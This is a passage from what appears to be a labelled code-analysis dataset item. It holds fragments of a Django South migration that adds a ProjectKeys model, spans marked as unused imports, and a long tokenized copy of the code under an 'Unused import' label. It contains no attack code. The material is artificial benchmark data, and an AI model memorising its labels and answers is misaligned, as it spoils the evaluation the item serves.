('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': \"u'user_set'\", 'blank': 'True', 'to': u\"orm['auth.Group']\"}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),\n 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': \"u'user_set'\", 'blank': 'True', 'to': u\"orm['auth.Permission']\"}),\n 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})\n },\n u'contenttypes.contenttype': {\n 'Meta': {'ordering': \"('name',)\", 'unique_together': \"(('app_label', 'model'),)\", 'object_name': 'ContentType', 'db_table': \"'django_content_type'\"},\n 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})\n },\n u'nodes.nodetask': {\n 'Meta': {'object_name': 'NodeTask'},\n 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),\n 'finished': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'input': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'node': ('django.db.models.fields.CharField', [], {'max_length': '30', 'null': 'True', 'blank': 'True'}),\n 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['projects.Project']\"}),\n 'revision': ('django.db.models.fields.CharField', [], {'max_length': '42'}),\n 'state': ('django.db.models.fields.PositiveSmallIntegerField', [], {'default': '0'}),\n 'stderr': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'stdout': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'})\n },\n u'nodes.projectkeys': {\n 'Meta': {'object_name': 'ProjectKeys'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'private_key': ('django.db.models.fields.TextField', [], {}),\n 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['projects.Project']\"}),\n 'public_key': ('django.db.models.fields.TextField', [], {})\n },\n u'projects.organization': {\n 'Meta': {'object_name': 'Organization'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '300'}),\n 'users': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': \"'organizations'\", 'symmetrical': 'False', 'to': u\"orm['auth.User']\"})\n },\n u'projects.project': {\n 'Meta': {'ordering': \"('-last_use', 'name')\", 'object_name': 'Project'},\n 'badge_url': ('django.db.models.fields.CharField', [], {'max_length': '300', 'null': 'True', 'blank': 'True'}),\n 'comment_from_owner_account': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'dashboard_branch': ('django.db.models.fields.CharField', [], {'max_length': '300', 'null': 'True', 'blank': 'True'}),\n 'default_branch': ('django.db.models.fields.CharField', [], {'max_length': '300', 'null': 'True', 'blank': 'True'}),\n 'icon': ('django.db.models.fields.CharField', [], {'max_length': '300', 'null': 'True', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_enabled': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'is_private': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'last_use': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '300'}),\n 'organization': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['projects.Organization']\", 'null': 'True', 'blank': 'True'}),\n 'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['auth.User']\"}),\n 'token': ('django.db.models.fields.CharField', [], {'max_length': '36', 'null': 'True', 'blank': 'True'}),\n 'url': ('django.db.models.fields.URLField', [], {'max_length': '200'})\n }\n }\n\n complete_apps = ['nodes']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def forwards(self, orm):\n # Adding model 'ProjectKeys'\n db.create_table(u'nodes_projectkeys', (\n (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['projects.Project'])),\n ('public_key', self.gf('django.db.models.fields.TextField')()),\n ('private_key', self.gf('django.db.models.fields.TextField')()),\n ))\n db.send_create_signal(u'nodes', ['ProjectKeys'])", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 9 }, { "content": " def backwards(self, orm):\n # Deleting model 'ProjectKeys'\n db.delete_table(u'nodes_projectkeys')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 20 } ]
[ { "span": "from south.utils import datetime_utils as datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 50 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "south_", "._", "utils_", "import_", "datetime", "\\u", "utils_", "as_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Schema", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "auth", ".", "group", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Group", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "80", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "auth", ".", "permissi", "on", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "u", "'", "content", "\\u", "type\\u\\u", "app", "\\u", "label", "',", " ", "u", "'", "content", "\\u", "type\\u\\u", "model", "',", " ", "u", "'", "code", "name", "')\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "(", "u", "'", "content", "\\u", "type", "',", " ", "u", "'", "code", "name", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Permi", "ssion", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "code", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "auth", ".", "user", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "User", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "\\u", "joine", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Ema", "il", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "7", "5", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "first", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "relate", "d\\u", "name", "'_", ":_", "\"", "u", "'", "user", "\\u", "set", "'\"_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "Group", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "active", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "sta", "ff", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "super", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "login", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "128", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "relate", "d\\u", "name", "'_", ":_", "\"", "u", "'", "user", "\\u", "set", "'\"_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "contenttype", "s", ".", "contenttype", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "name", "',)\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "app", "\\u", "label", "',", " ", "'", "model", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Conten", "t", "Type", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "django", "\\u", "content", "\\u", "type", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "label", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "model", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "nodes", ".", "nodet", "ask", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Node", "Task", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "\\u", "add", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "finish", "ed", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "input", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "node", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "project", "s", ".", "Project", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "revis", "ion", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "4", "2", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "state", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Small", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "std", "err", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "stdout", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "nodes", ".", "project", "keys", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Project", "Keys", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "private", "\\u", "key", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "project", "s", ".", "Project", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "public", "\\u", "key", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "project", "s", ".", "organization", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Organiz", "ation", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "300", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "users", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "organization", "s", "'\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "project", "s", ".", "project", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'-", "last", "\\u", "use", "',", " ", "'", "name", "')\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Project", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "badge", "\\u", "url", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "300", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "comment", "\\u", "from", "\\u", "owner", "\\u", "account", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dash", "board", "\\u", "branch", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "300", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "default", "\\u", "branch", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "300", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "icon", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "300", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "enable", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "private", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "use", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "\\u", "add", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "300", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "organization", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "project", "s", ".", "Organiz", "ation", "']\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "owner", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", 